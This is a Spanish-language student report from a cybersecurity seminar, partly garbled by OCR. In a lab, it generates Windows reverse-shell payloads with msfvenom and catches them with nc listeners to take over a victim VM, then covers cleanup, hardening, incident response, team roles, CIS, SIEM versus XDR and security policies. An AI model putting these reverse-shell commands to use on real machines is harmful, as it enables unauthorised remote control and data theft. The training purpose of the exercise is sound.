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Ilustracion 18 Prueba de conectividad efectiva

&
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£ root@kali: fhome/henry
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Illustracion 19 Payload efectivo, se obtiene control de la maquina victima

Crearemos ahora el payloads para uno de los puertos detectados con nmap: el 445:



msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.72 LPORT=445 -f exe -0
PoC4_71705244.exe:

Enviamos el archivo a la maquinavictima, y ejecutamos el comando: nc -nlvp 445 en la
maquina atacante para quedar atentos al puerto escucha.

Al lograr este acceso es posible ya navegar sobre las unidades de disco duro que tenga la
maquina victima, de esta manera podemos crear , copiar, y eliminar archivos ,como por
ejemplo el archivo encontrado en el escritorio el cual el atacante de seguro usaria para
identificar la maquina, y después de copiarlo a su coleccién lo ha eliminado.

%
ECLEENEEEEEE
' | = Administrar ETAPA3
) Inicio Compartir Vista Herramientas de aplicacidn
Archivo Acciones Editar Vista Ayuda 4, Cortar x
9.9 KiE =l W Copiar ruta de acceso L
a Copiar Pegar . Maover Copiar Eliminar Cam
A o Pegar acceso directo a- a- - nom
Portapapeles Organizar
« v » Esteequipo » DATOS(D:) » 1_UNAD » 1_A_SEMINARIO DE
~ s . ~
@ OneDrive Mombre
PoC3_71705244.exe
OneDrive - Personal — .
#| Anexo 4 - Escenario 3.pdf
[ Este equipo = a-scaneo de puertos.png
J Descargas = b-identificacion IP de maquina victir
. direccion_virtual = conocer sistema operativo.png
= Documentos = conocer sistema operstivo2.png
= forol.png
I Escritorio
) =l foro2.png
&= Imagenes < foro3.png
$ Misica [#] Guia de actividades y ribrica de eval
Objetos 3D MGula de actividades y rabrica de eval
) ¥
@ videos = nuevo_payload.png
i, SYSTEMA (C3) @ pasc a paso.docx
[T 7171 X
L= DATOS (DY PoC_71705244.exe
8 poc_ 71705244 exe.gz
= RECOVERY (E) ¥ PoC2 71705244 exe
- KBOOT (k) B8 Poc2 71705244, exe.zip
= TRES (K} s =
717
5 TRES (K) v 55| PoC4_71705244.exe
23 elementos 1 elemento seleccionsto oo D

Illustracion 20 creacion de payload con puerto detectado en Nmap 445



La maquina victima ejecuta el archivo y aparentemente no sucede nada, pero en nuestra
maquina atacante ya tenemos dominio de la maquina 192.1680.100.110

]

BomPoO-| 23+ ppm

oJ root@kali: fhome/henry

Archivo Acciones Editar Vista Ayuda

)-[/home/henry]

Illustracion 21 navegando en la maquina victima a nuestro antojo

2. Acontinuacion, liste y describa los datos e informacién del anexo 4 —escenario 3
que le fueron de ayuda para identificar el fallo de seguridad especifico el cual
ataca a la maquina windows 10 X64

El Anexo 4 - Escenario 3 proporciona practicamente toda la informacion relevante para

la identificacion del fallo de seguridad en la maquina victima:

Creacion de archivo .txt en el escritorio: El administrador del equipo not6 la creaciéon
de un archivo con extension .txt en el escritorio, que luego desaparecio. Este hecho

indica una posible actividad sospechosa en el sistema posiblemente por un tercero.

Descarga y ejecucion de archivo PoCseminario.exe: El administrador recibié un
archivo llamado PoCseminario.exe a través de WhatsApp Web y lo ejecut6 en la

computadora afectada. Esto sugiere una posible entrada de malware en el sistema.

La Desactivacion de sistemas de seguridad: Se menciona que todos los sistemas de

seguridad, incluyendo Firewall, Windows Defender y antivirus, estaban totalmente



desactivados. Esta falta de proteccion deja al sistema totalmente vulnerable ,de ahi la
importancia de mantener los sistemas operativos actualizados y activados sus
defensas como son el defender el cual presta una magnifica proteccién a windows

,aunqgue sin embargo es bueno tener un antivirus de otra empresa.

Recuerda un archivo que contenia campos como
"Nombre_estudiante_codigo_fecha_actividad". Que luego no estaba , la desaparicién
posterior de este archivo sugiere una actividad sospechosa en el sistema , es decir la

maquina ha sido vulnerada y un tercero tiene acceso.

Estos datos proporcionan informacién crucial sobre las acciones realizadas en la
maquina afectada, lo que ayuda a identificar el posible vector de ataque y el fallo de

seguridad especifico que permitio la intrusion en el sistema Windows 10 X64.

3. ¢Qué herramienta utilizd para poder identificar los fallos de seguridad de la
“maquina Windows 10”? ;Qué puerto abre la aplicacion especifica en el anexo?

La herramienta principal fue nmap , con la cual se identifican los puertos abiertos , en
este caso detectamos el puerto 445 , el cual nos facilitara el ataque.

4 Procedemos a ejecutar el comando msfvenom -l payloads | grep Windows (con
el objetivo de buscar los posibles payloads disponibles para generar un ataque a la
maquina victima. buscar payloads para Windows)
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Illustracion 22 Identificacidn de posibles payloads para lograr ataque a victima.

5. msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.72 LPORT T=
445 -f exe -0 prueba.exe  (luego enviarlo para la victima)

6. debemos recordar que la Ip varia mucho he colocado las capturas de todos los
momentos, y en el ultimo instante he estado trabajando con la IP maquina
atacante: 192.168.100.72,

7. lamaquina victima recordemos que estamos sobre la 192.168.100.110, la cual se
le ha realizado el pentesting necesario.

llustracion 23 Comando para identificar ip

cmd/windows/powershell/x64/meterpreter/reverse_tcp

sudo iptables -A INPUT -p tcp --dport 4444 -j



PoC_cedulaestudiante.exe

LHOST=192.168.100.198 LPORT=443 -f exe

msfvenom -p windows/x64/meterpreter/reverse tcp

o PoC 71705244.exe)

LHOST=192.168.100.72 LPORT=8001 -f exe -0

msfvenom -p windows/shell reverse tcp

PoC3 71705244 .exe

1. Shellreverse_tcp
2. nc-nlvp 443 (comando para colocar en modo escucha el puerto.)

B omP O 2 3 4

henry@kaliz ~
Archivo Acciones Editar Vista Ayuda

Ilustracion 24 Creacidn de payloads

@ 6b5lec36clbdef39740fe59c095bT45988d5aae32348Teece02602a1b9d73393

ecurity vendors and no sand agged this file as malicious ' Reanalyze = Similar More

6b5lec36c1bdef3aT40fe59c995b745988d5aae32348Teece02. .. ‘

a moment ago EXE

DETECTION DETAILS BEHAVIOR ) TELEMETRY COMMUNITY

Jain the VT Community and enjoy additional community insights and crowdsourced detections, plus an APl key to automate checks.

Popular threat

Threat categories
label

trojan hacktool

Family labels

Security vendors' analysis Do you want to automate checks?

Acronis (Static ML)

AliCloud

Antiyv-AVL

Avast

Avira (no cloud)

AhnLab-v3

AlY¥ac

Arcabit

AVG

BitDefender

Ilustracion 25 resultado del Analisis del payload en la URL de VIRUSTOTAL



4. Explique con sus palabrasy de manera especifica como afecta el ataque a la
maquina (Windows 10 X64), haga uso de graficos para explicar el ataque.

Maliciosa
Cddigo
Sistema es malicioso Atacante puede
comprometido realiza copiary borrar
mediante acciones no . cualquigr
explotacién de autorizadas informacion
(eliminar sensible del
vulnerabilidad archivos, sistema
£ instalar comprometido
malware, crear

Envio de
archivo

Datos

Usuario
descargay
"PoCseminari

5 ejecuta el
0.exe

archivo
a través de

WhatsApp malicioso en

Windows 10

Fase de Fase de Fase de Fase de Fase de
Entrada Ejecucion Compromiso Accidn Exfiltracion de

Fuente propia : imagenes de galeria de Bing office.

El ataque a la maquina Windows 10 puede tener varias significativas.

Compromiso de la Seguridad del Sistema Operativo: El atacante logra comprometer el
sistema operativo al explotar vulnerabilidades en el sistema. Esto puede permitir al
atacante obtener acceso no autorizado y tomar el control completo del sistema.

Ejecucién de Cdodigo Malicioso: El archivo "PoCseminario.exe" descargado y ejecutado
por el usuario contiene cédigo malicioso. Una vez ejecutado, este cédigo puede realizar
diversas acciones no deseadas, como robar informacion confidencial, instalar malware
adicional, o abrir puertas traseras para acceso remoto.

Desactivacion de Seguridad: El administrador menciona que los sistemas de seguridad
del sistema operativo y externos estaban desactivados por completo. Esto hace que el
sistema sea aun mas vulnerable a ataques y facilita al atacante evadir cualquier
deteccidn o proteccion.

Posible Exfiltracidn de Datos Sensibles: Dado que el atacante ha obtenido acceso al
sistema, existe el riesgo de que se hayan extraido datos sensibles o confidenciales de la
maquina comprometida. Esto puede incluir informacion personal, credenciales de
usuario, datos financieros, entre otros.



ETAPA 4 - CONTENCION DE ATAQUES INFORMATICOS

1. Descargue una guia de hardenizacién para Windows 10

Asegure la maquina que fue afectada con el Payload de la Etapa4

Genere un documento donde mencione el paso a paso utilizado para

asegurar y erradicar el ataque ejecutado en la Etapa 4.

Mantener

los sistemas operativos actualizados y mantener activo el defender con todas sus
configuraciones perfectamente configuradas ,evitaran que la maquina sea un punto débil en el

eslabdn de la red I

En el andlisis realizado por el defender vemos como nos da como resultado que no tiene amenazas

,sin embargo, observamos que se encuentran en la carpeta los payloads creados en msfvenom

Ilustracion 26 Defender desactivado - No detecta Virus
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Lo primero que debemos realizar es activar el defender y actualizar el sistema operativo ya que
esto instalara todos los parches de seguridad mal llamada actualizaciones para no asustar los

usuarios.
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Seguridad de Windows

 Actualizaciones de proteccién

Consulta informacion sobre la version de inteligencia de seguridad y
busca actualizaciones.

Inteligencia de seguridad

Antivirus de Microsoft Defender usa la inteligencia de seguridad para
detectar amenazas. Procuramos descargar automaticamente la
inteligencia mas reciente para proteger el dispositivo contra las amenazas
mas recientes. También puedes buscar actualizaciones manualmente.

8
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llustracion 28 Maquina sistema operativo
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Se debe realizar un escaneo de todos los discos duros de la maquina victima con el fin de
buscar cualquier archivo malicioso.



Es recomendable instalar un antivirus para realizar una prueba exhaustiva ,ya que en este caso
se ha revisado y efectivamente el defender ya no deja descargar archivos maliciosos , ha
eliminado los archivos maliciosos pero ejecutables mas no ha eliminado los comprimidos,
aunque hay que resaltar que ya no los deja extraer.
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Illustracion 30 No permite ejecutar el archivo malicioso

Por este motivo instalamos el malwarebytes para realizar un escaneo completo de malware
en la maquina afectada para detectar y eliminar cualquier software malicioso presente.



™ Malwarebytes - O
! Malwarebytes ‘ Version de prueba Premium  Caduca en 14 dias ( Activar Suscrlpclon) Comprar ahora Q (
y
an E )
¥ Meni principal Ana"zador
Andlisis personalizado resultados Détecciones Hora del andlisis Elementos analizados
E§3 4 4m 53s 22
Ajustes
Nombre Tipo ©® Tipo de objeto Ubicacién
Trojan.MalPack Malware Archivo CA2024\ETAPA3\POC_7...
Trojan.Rozena Malware Archivo CA2024\ETAPA3\POC3_...
Trojan.MalPack Malware Archivo CA\2024\ETAPA3\POC2_...
Trojan.Rozena Malware Archivo CA\2024\ETAPA3\POC3_...

llustracion 31 malware instalado detecta amenazas comprimidas y las elimina

Después de realizar la limpieza del equipo afectado, se mencionan algunas otras
recomendaciones que pueden servir segun la magnitud y dafio del ataque.

Usar Restauracién del Sistema: Restaurar la maquina afectada a un estado anterior

Puede ser una buena opcién haciendo uso de los puntos de restauracion si estan disponibles
ya que esto puede eliminar el payload y revertir los posibles cambios maliciosos que hayan
realizado los atacantes.

Con lo anterior comprobamos lo importante que es activar esta opcidn en windows.

De no estar activada , después de la limpieza , actualizacidon ,activacion de firewalls y la
instalacion de antivirus , podemos crear un punto de restauracién y dejar este activo.

Configuracién de Politicas de Grupo: Utiliza las politicas de grupo de Windows para aplicar
configuraciones de seguridad adicionales, como restricciones de ejecucion de software y
politicas de seguridad de red, para reforzar la seguridad del sistema.

Control de Cuentas de Usuario: Configura y administra adecuadamente las cuentas de usuario
en la maquina, asignando permisos y privilegios segun sea necesario para reducir la superficie
de ataque y prevenir la ejecucion no autorizada de software.



Educacion en Seguridad: Se debe brindar capacitaciones y concientizar en buenas practicas de
seguridad a todos los usuarios que tengan asignado un computador , ensefidndoles a

identificar y evitar las tacticas de ingenieria social y los ataques de phishing que podrian llevar
a la instalacion de payloads que seguro pueden permitir accesos no autorizados a los
computadores.

Es muy importante realizar un andlisis forense de los sistemas afectados con el fin de

recopilar evidencia digital relacionada con el ataque para conocer la profundidad del problema
y podemos usar herramientas forenses para examinar archivos, registros y metadatos en

busca de pistas sobre el origen y la naturaleza del ataque.

Algunas herramientas forenses gratuitas que podemos usar pueden ser: Autopsy & The Sleuth

Kit (TSK), FTK Imager , ExifTool incluso wireshark .

2. ¢Ante un ataque informatico en tiempo real usted como experto en
Ciberseguridad qué pasos toma para identificar dicho ataque? Debe listar y explicar
cada uno de estos pasos.

Ante un ataque en tiempo real es de mucha importancia realizar lo siguiente:

2.1 Monitoreo del trafico de red:

Es de gran utilidad realizar un monitoreo de la red con Las herramientas de monitoreo de
red de cddigo abierto, como Nagios y Zabbix, son gratuitas y altamente personalizables.

De esta manera podemos analizar el tréfico y tratar de identificar patrones o actividades
sospechosas.

2.2 Observar el trafico entrante y saliente para identificar cualquier comunicacién no
comun con direcciones IP a puertos no autorizados

2.3 Analisis de registros y registros de auditoria:

Se deben revisar los registros del sistema y los registros de auditoria para identificar
eventos inusuales o actividades anémalas. Pueden buscarse registros en los archivos log,

lastlogin y error.log

2.4 Buscar eventos como intentos de inicio de sesion fallidos en los puertos 2083 que es el
de Cpanel, 2087 del WHM y el 22 de acceso SSH , es importante realizar una revisién de la
seccion visitantes para identificar accesos no autorizados a archivos o directorios, y los
posibles intentos de cambios en la configuracidn del sistema.



2.5 Deteccidn de intrusiones:

Es muy recomendable utilizar sistemas de deteccion de intrusiones (IDS) y sistemas de
prevencion de intrusiones (IPS) para identificar y alertar sobre posibles intentos de intrusiény
analizar las alertas generadas por estos sistemas para determinar la naturaleza y la gravedad
del posible ataque.

Algunas herramientas que pueden servir Snort, Suricata,

En este punto se debe mantener una comunicacién constante con todas las partes interesadas
durante el proceso de respuesta a cualquier incidente para poder lograr mitigar el dafio ala
organizacion

3. ¢Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red team liste el paso
a paso que ejecutd para subsanar el sistema ante el evento del Payload?

3.1 Evaluar los sistemas y datos afectados por el ataque para comprender completamente su
alcance y determinar los pasos necesarios para la recuperacion.

3.2 Lo primero a llevar a cabo es sacar el equipo afectado de la red de esta manera evitaremos
gue se propague a los demas equipos a través de la red cualquier tipo de troyano o malware.

3.3 identificar qué tipo de Payload se ejecuté en el sistema comprometido. Esto puede
implicar analizar el archivo malicioso, investigar la actividad sospechosa en los registros del
sistema y realizar analisis forenses.

3.4 Se actualizo el sistema operativo y se activaron los firewalls de windows y el defender con
el fin de fortalecer la seguridad de la maquina afectada en el ciberataque , para corregir las
vulnerabilidades que podrian haber sido explotadas por el ataque.

3.5 se procede a identificar el payload que afecto la maquina-

3.6 Se instala un antivirus actualizado, se instala el malwarebytes que también sirve para
identificar troyanos.

3.7 Se realiza un escaneo de todo el disco duro con el objetivo de poder comprobar que no
tenga rastros de cualquier tipo de archivo malicioso.



3.8 Si es posible, restaurar el sistema comprometido desde una copia de seguridad previa al
ataque para eliminar completamente el Payload y cualquier otro malware asociado.

3.9 Aplicar medidas de seguridad adicionales, como restringir los permisos de usuario,
configurar reglas de firewall y utilizar software de deteccién de intrusiones, para fortalecer la
proteccion del sistema contra futuros ataques.

3.10 Establecer un sistema de monitoreo continuo para detectar y responder rapidamente a
cualquier actividad sospechosa o intento de intrusidn en el futuro.

4. Sabemos que existen equipos Blue Team y Red Team, pero entonces éiqué
diferencia existen entre los equipos antes mencionados con el Purple Team y
equipos de respuesta a incidentes informaticos?

Los equipos Blue Team, Red Team, Purple Team y los equipos de respuesta a incidentes
informaticos (CSIRT o CIRT) desempefian roles y funciones diferentes en el ambito de la
ciberseguridad.

Blue Team (Equipo Azul):

El Blue Team es responsable de defender y proteger los sistemas y activos de una organizacién
contra las amenazas cibernéticas.

Sus funciones incluyen monitorear la seguridad de la red, detectar y responder a incidentes de
seguridad, implementar medidas de seguridad preventivas y correctivas, y llevar a cabo analisis
forenses.

Red Team (Equipo Rojo):

El Red Team simula ataques cibernéticos contra los sistemas y redes de una organizacion para

evaluar su postura de seguridad y encontrar vulnerabilidades.

Utilizan técnicas de hacking ético para descubrir debilidades en las defensas de seguridad y
ayudar a mejorarlas mediante la realizacidon de pruebas de penetracidn y evaluaciones de
seguridad.

Purple Team (Equipo Morado):

El Purple Team combina elementos del Blue Team y del Red Team para mejorar la
colaboracidn y la eficacia en la defensa cibernética.



Trabaja en estrecha colaboracion con el Blue Team para comprender las tacticas y técnicas
utilizadas por el Red Team, compartir conocimientos sobre amenazas y vulnerabilidades, y
mejorar la respuesta y la mitigacion de incidentes.

5. ¢éQué funcién tiene CIS “Center For Internet Security” dentro de equipos
BlueTeam? Usted debe realizar un pequefio tutorial de cémo funciona CIS y qué
se debe hacer para encontrar los tutoriales que posee

El Center for Internet Security (CIS) desempefia un papel importante en el ambito de la
ciberseguridad, especialmente para los equipos Blue Team. CIS es una organizacioén sin fines de
lucro que se dedica a mejorar la ciberseguridad a través de la colaboracién publica y privada.
Proporciona recursos, pautas y herramientas para ayudar a las organizaciones a fortalecer su
postura de seguridad cibernética.

Funcion de CIS para equipos Blue Team:

Desarrollo de Pautas de Seguridad:

CIS desarrolla y mantiene pautas de seguridad reconocidas a nivel mundial, como las
Benchmarks de Seguridad CIS. Estas pautas ofrecen configuraciones de seguridad
recomendadas para sistemas operativos, aplicaciones, dispositivos de red y plataformas en la
nube.

Asesoramiento sobre Mejores Practicas:

Proporciona asesoramiento sobre mejores practicas de seguridad cibernética, basado en la
experiencia de expertos de la industria y la comunidad de ciberseguridad.

Herramientas y Recursos:

Ofrece una amplia gama de herramientas y recursos gratuitos, como scripts de
automatizacion, herramientas de evaluacidn de seguridad, guias de implementacion y
configuracidn, y tutoriales.



Formacion y Capacitacion:

CIS ofrece programas de formacién y capacitacidén para ayudar a los profesionales de la
ciberseguridad a mejorar sus habilidades y conocimientos en dreas especificas de seguridad.

Tutorial sobre cémo utilizar los recursos de CIS:

Acceder al Sitio Web de CIS:

Para acceder a los recursos de CIS, visita su sitio web oficial en https://www.cisecurity.org/.

Explorar los Recursos Disponibles:

En el sitio web de CIS, navega por las secciones relevantes, como "Benchmark Guides",
"Security Controls", "Tools & Resources", y "Training & Certification".

Buscar Benchmarks de Seguridad:

Para encontrar las Benchmarks de Seguridad CIS, dirigete a la seccion "Benchmark Guides". Alli
encontraras una lista de pautas de seguridad para diferentes sistemas y plataformas.

Descargar Recursos:

Puedes descargar las pautas de seguridad en formato PDF para su referencia. Ademas, explora
otras herramientas y recursos disponibles para mejorar la seguridad cibernética de tu
organizacion.

Explorar Herramientas y Recursos Adicionales:

Echa un vistazo a las herramientas de evaluacion de seguridad, scripts de automatizacion,
guias de configuracidn y otros recursos disponibles para ayudarte a implementar las mejores
practicas de seguridad.

Participar en Formacion y Capacitacion:

Considerar inscribirte en los programas de formacion y capacitacion ofrecidos por CIS para
mejorar tus habilidades en seguridad cibernética y mantenerse al dia con las ultimas
tendencias y técnicas de defensa.


http://www.cisecurity.org/

6. Deberd documentar mediante la elaboracién una tabla las diferencias existentes
entre: SIEM y XDR.

Caracteristica
Enfoque

Alcance

Fuentes de datos

Funcionalidades

Automatizacion

Escalabilidad

Complejidad

Integracion de
datos

SIEM
Se enfoca en la gestion de informacién 'y

incidentes de seguridad.

Principalmente interno, centrado en
eventos y registros de seguridad de la
red y sistemas.

Recolecta y correlaciona informacion de
registros de eventos, logs de los
sistemas y redes, y otros dispositivos de

seguridad.

- Recopilacion de datos. - Analisis de
eventos. - Correlacion de eventos. -
Generacion de alertas. - Generacion de
informes.

Ofrece un bajo nivel de automatizacién
para la administraciéon de eventos y la
generacion de alertas.

Escalable para gestionar grandes
volumenes de datos, pero puede
enfrentar desafios con la integracion y
correlaciéon de datos en entornos

complejos.

XDR
Se centra en la deteccion y respuesta
ampliada a amenazas.
Amplio, abarcando multiples puntos de datos
y fuentes de informacion, incluyendo
endpoints, redes, correo electrénico, nubes y

Recopila datos de multiples fuentes,
incluyendo endpoints, redes, nubes, correos

electrénicos y mas, integrando datos

rantAvtiaialac

- Deteccion de amenazas. - Investigacién y
analisis de amenazas. - Respuesta

"
+AlAanmantunia

automatizada. - Integracién de multiples
fuentes de datos. - Analisis avanzado y

Proporciona una mayor automatizacion para
la deteccién de amenazas y la respuesta,

incluyendo acciones correctivas
altnmatizadac
Disefiado para manejar grandes cantidades

de datos y proporcionar una vision unificada

de las amenazas a través de multiples fuentes
y plataformas.

Ofrece una arquitectura mas simplificada y
unificada para la deteccion y respuesta a

Amanazac an antAarnnc ~ramnlaine

Ofrece integracion nativa con una variedad
de fuentes de datos y plataformas,

simplificando la agregacion y correlaciéon de



7. Defina por lo menos 3 herramientas de deteccién de ataques informdticos con
licencia GPL.

OSSEC: OSSEC es un sistema de deteccidn de intrusos de host de cddigo abierto que proporciona
monitoreo de seguridad, deteccidn de intrusos y respuesta a incidentes en sistemas operativos
UNIX, Linux y Windows. OSSEC es de configuracién accesible y puede detectar en la red
multiples actividades maliciosas, incluidos los ataques por diccionario o de fuerza bruta,
modificaciones no autorizadas de archivos y comportamientos sospechosos del sistema.

Security Onion: Security Onion es una distribucién de Linux especializada en seguridad de red
gue incluye una variedad de herramientas de deteccidn de intrusos, analisis de registros y
respuesta a incidentes. Incorpora software como Snort, Suricata, Zeek, OSSEC y otras
herramientas de cédigo abierto para proporcionar una solucién integral de seguridad de red.

Fail2ban: Fail2ban es una herramienta de prevencidn de intrusiones que monitorea registros de
sistemas y servicios en busca de patrones de actividad maliciosa o intentos de acceso no
autorizado. Cuando se detecta un patron sospechoso, Fail2ban puede tomar medidas como
bloquear la direccién IP del atacante utilizando el firewall del sistema.

La deteccidn y respuesta efectiva a los ataques informaticos requiere una comprension sdlida
de los pasos necesarios para identificar las sefiales de un ataque en tiempo real.

Desarrollar un plan detallado para abordar y subsanar un sistema afectado por un ataque de Red
Team es crucial para minimizar el impacto y restaurar la seguridad de la infraestructura de TI.

La colaboracién entre todos los equipos Blue Team, Red Team y Purple Team, incluyendo los de
respuesta a los incidentes, es esencial para una defensa integral para enfrentar cualquier
amenaza cibernética.

CIS desempenfia un papel importante al proporcionar pautas y mejores practicas para fortalecer la
postura de seguridad de los equipos Blue Team.

Si bien SIEM y XDR son herramientas importantes en la deteccién de amenazas, presentan
diferencias significativas en términos de alcance, funcionalidad y enfoque.

Todas las herramientas de deteccion de ataques informaticos que son de licencia GPL ofrecen a
los profesionales de la ciberseguridad una variedad de opciones para fortalecer la seguridad de
sus sistemas sin incurrir en costos adicionales de licencia.®

6 corporativo (SOC) https://www.checkpoint.com/es/cyber-hub/threat-prevention/what-is-xdr-
extended-detection-and-response/xdr-vs-siem/



De qué manera pueden aportar en el campo de la ciberseguridad la integracion de equipos
blue team, red team y Purple team al mismo tiempo dentro de una organizacion.

La integracion de equipos Blue Team, Red Team y Purple Team dentro de una organizacidn puede
aportar numerosos beneficios en el campo de la ciberseguridad al proporcionar una visién
completa y colaborativa de la postura de seguridad de la organizacion.

Cuando estos equipos trabajan juntos mejoran la seguridad en muchos aspectos como, por
ejemplo:

La colaboracién entre los equipos permite una deteccidn mds rapida y precisa de amenazas
cibernéticas. El Red Team puede simular ataques para identificar vulnerabilidades, mientras que
el Blue Team utiliza esta informacidn para fortalecer las defensas y el Purple Team facilita la
comunicacion y coordinacidon entre ambos.

Al Trabajar en conjunto permite y facilita identificar y remediar las brechas de seguridad de
manera mas eficiente. El Red Team identifica las debilidades, el Blue Team las corrige y el Purple
Team evalla el proceso para mejorar continuamente las defensas.

Esta La colaboracion entre equipos permite una evaluacion mas completa de la postura de
seguridad de la organizacién. El Red Team proporciona una perspectiva de atacante, el Blue
Team ofrece una visidn interna de la infraestructura y el Purple Team integra ambas perspectivas
para identificar areas de mejora.

Al Trabajar en conjunto les permite desarrollar estrategias de defensa mds avanzadas y efectivas.
El Red Team puede ayudar a probar y mejorar las capacidades de deteccion y respuesta del Blue
Team, mientras que el Purple Team asegura que estas estrategias estén alineadas con los
objetivos de seguridad de la organizacién.

En conclusidn, la colaboracidn entre todos los equipos permite compartir conocimientos y
experiencias, lo que contribuye a una mayor conciencia y formacion en seguridad cibernética en
toda la organizacion. Esto ayuda a garantizar que todos los empleados estén preparados para
identificar y responder a amenazas cibernéticas.



Plantee politicas de seguridad y recomendaciones para mejorar los aspectos de
ciberseguridad en cualquier organizacion en sus entornos T.l.

Politica de contrasefias robustas:

Establecer requisitos para contrasefias seguras, incluyendo longitud minima, uso de caracteres
especiales, nimeros y letras mayusculas y minusculas.

Implementar la autenticacién multifactor (MFA) siempre que sea posible para agregar una capa
adicional de seguridad.

Actualizacion y parcheo de software:

Implementar un programa de gestién de parches para garantizar que todos los sistemas,
aplicaciones y dispositivos estén actualizados con los ultimos parches de seguridad.

Realizar evaluaciones regulares de vulnerabilidades y analisis de riesgos para identificar y
abordar las debilidades en la infraestructura de TI.

Politica de uso aceptable:

Establecer reglas claras sobre el uso aceptable de los recursos de Tl, incluyendo el uso de
dispositivos personales, acceso a redes sociales y descargas de software.

Educar a los empleados sobre las mejores practicas de seguridad y las posibles consecuencias
del incumplimiento de las politicas.

Respuesta a incidentes:

Desarrollar un plan de respuesta a incidentes detallado que describa los pasos a seguir en caso
de una violacidn de seguridad.

Designar un equipo de respuesta a incidentes y realizar simulacros periddicos para probar la
eficacia del plan y entrenar al personal.

Cifrado de datos:

Implementar el cifrado de extremo a extremo para proteger la confidencialidad de los datos
tanto en reposo como en transito.

Utilizar protocolos seguros como HTTPS para comunicaciones web y VPN para conexiones
remotas.



Control de acceso:

Implementar un modelo de control de acceso basado en roles (RBAC) para limitar el acceso a
datos y sistemas segun la necesidad del usuario.

Monitorizar y auditar regularmente los registros de acceso para detectar actividades
sospechosas o intentos de acceso no autorizado.

Concienciacidn y formacion en seguridad:

Proporcionar formacién periddica en seguridad cibernética para todos los empleados,
incluyendo la identificacién de phishing, el manejo de contrasefias y el reconocimiento de
amenazas.

Fomentar una cultura de seguridad donde los empleados se sientan cémodos informando de
posibles incidentes y compartiendo informacién sobre amenazas.

Respaldo y recuperacién de datos:

Implementar una estrategia de respaldo regular y automatizada para garantizar la disponibilidad
y la integridad de los datos en caso de pérdida o corrupcién.

Probar regularmente los procedimientos de recuperacion de desastres para asegurarse de que
sean efectivos y puedan restaurar los sistemas en un tiempo razonable.



CONCLUSIONES

Es importante conocer las normas y leyes que rigen los sistemas informaticos y las que protegen
los usuarios ,como profesionales es de vital importancia tener bases firmes en estas normas para
poder asesorar de manera idénea todos los posibles clientes que podamos tener.

. Para la realizacidn de un buen pentesting se deben conocer los pasos que hay que realizar
para poder obtener resultados satisfactorios en la realizacion de pruebas de penetracién teniendo
en cuenta realizar un buen footprinting ya que es en esta fase que la informacion recolectada
haga exitosa el andlisis de vulnerabilidad.

. En cualquier contrato de confidencialidad el desconocimiento de las normas no nos exime
de los problemas legales , sin embargo, conocerlas tampoco nos puede convertir en un ciber
criminal, lo importante es tomar siempre decisiones éticas y morales.

En el incidente se detecta claramente la importancia de mantener la seguridad informatica en
todos los niveles incluyendo las actualizaciones de los sistemas operativos y mantener siempre
activos el firewall y el antivirus, ya que esto permitird que la maquina sea mas expuesta a los
ataques externos.

Siempre debemos tener en cuenta que el eslabdén en la cadena de seguridad informatica mas débil
siempre va a ser el factor humano, de ahi la importancia de concientizar al personal ,usuariosy
administradores de cualquier sistema , todos ellos deben recibir formacién regular sobre practicas
seguras , puede ser con capacitaciones periddicas, en las que se haga mucho énfasis en la
importancia por ejemplo de no descargar ningun archivo de fuente externa si no son de fuentes
confiables.

La deteccidn y respuesta efectiva a los ataques informaticos requiere una comprension sdélida de
los pasos necesarios para identificar las sefales de un ataque en tiempo real.

Desarrollar un plan detallado para abordar y subsanar un sistema afectado por un ataque de Red
Team es crucial para minimizar el impacto y restaurar la seguridad de la infraestructura de TI.

La colaboracién entre todos los equipos Blue Team, Red Team y Purple Team, incluyendo los de
respuesta a los incidentes, es esencial para una defensa integral para enfrentar cualquier amenaza

cibernética.



RECOMENDACIONES

Mantener los sistemas actualizados: Asegurarse de que todos los sistemas
operativos y software estén actualizados con los ultimos parches de seguridad. Esto
ayuda a mitigar las vulnerabilidades conocidas que podrian ser explotadas por los
atacantes.

Activar las medidas de seguridad integradas: Utilizar las herramientas de seguridad
integradas en los sistemas operativos, como el Firewall de Windows y Windows
Defender, y asegurarse de que estén activadas y configuradas correctamente para
proporcionar una capa adicional de proteccion contra amenazas.

Implementar un enfoque de defensa en profundidad: No se debe confiar Unicamente
en una sola medida de seguridad. Se deben implementar multiples capas de
seguridad, como firewalls, sistemas de deteccién de intrusos, antivirus y analisis de
comportamiento, para mejorar la resistencia contra ataques.

Concientizacion y formacion en seguridad: Capacitar a los usuarios sobre las
practicas de seguridad cibernética, incluyendo cémo identificar correos electronicos
de phishing, no hacer clic en enlaces sospechosos y evitar descargar archivos
adjuntos de fuentes no confiables.

Realizar auditorias de seguridad regulares: Realizar auditorias de seguridad
periddicas para identificar y remediar posibles vulnerabilidades en la red y los
sistemas. Esto puede incluir pruebas de penetracion, analisis de vulnerabilidades y
evaluaciones de riesgos.

Implementar medidas de respuesta a incidentes: Desarrollar y preparar un plan de
respuesta a incidentes para estar atentos en caso de que ocurra un ataque. Esto
incluye la identificacion rapida del incidente, la contencidn del dafio, la investigacién
forense y la restauracion de la normalidad operativa.

Colaboracién entre equipos: Fomentar la colaboracién entre los equipos de
seguridad, incluyendo Blue Team, Red Team, Purple Team y equipos de respuesta a
incidentes. La cooperacidny el intercambio de informacidén son clave para una
defensa efectiva contra amenazas cibernéticas.

Seguir las mejores practicas de seguridad cibernética: Seguir las mejores practicas
de seguridad cibernética establecidas por organizaciones como el NIST, CIS y otras
entidades de renombre en el campo de la ciberseguridad.
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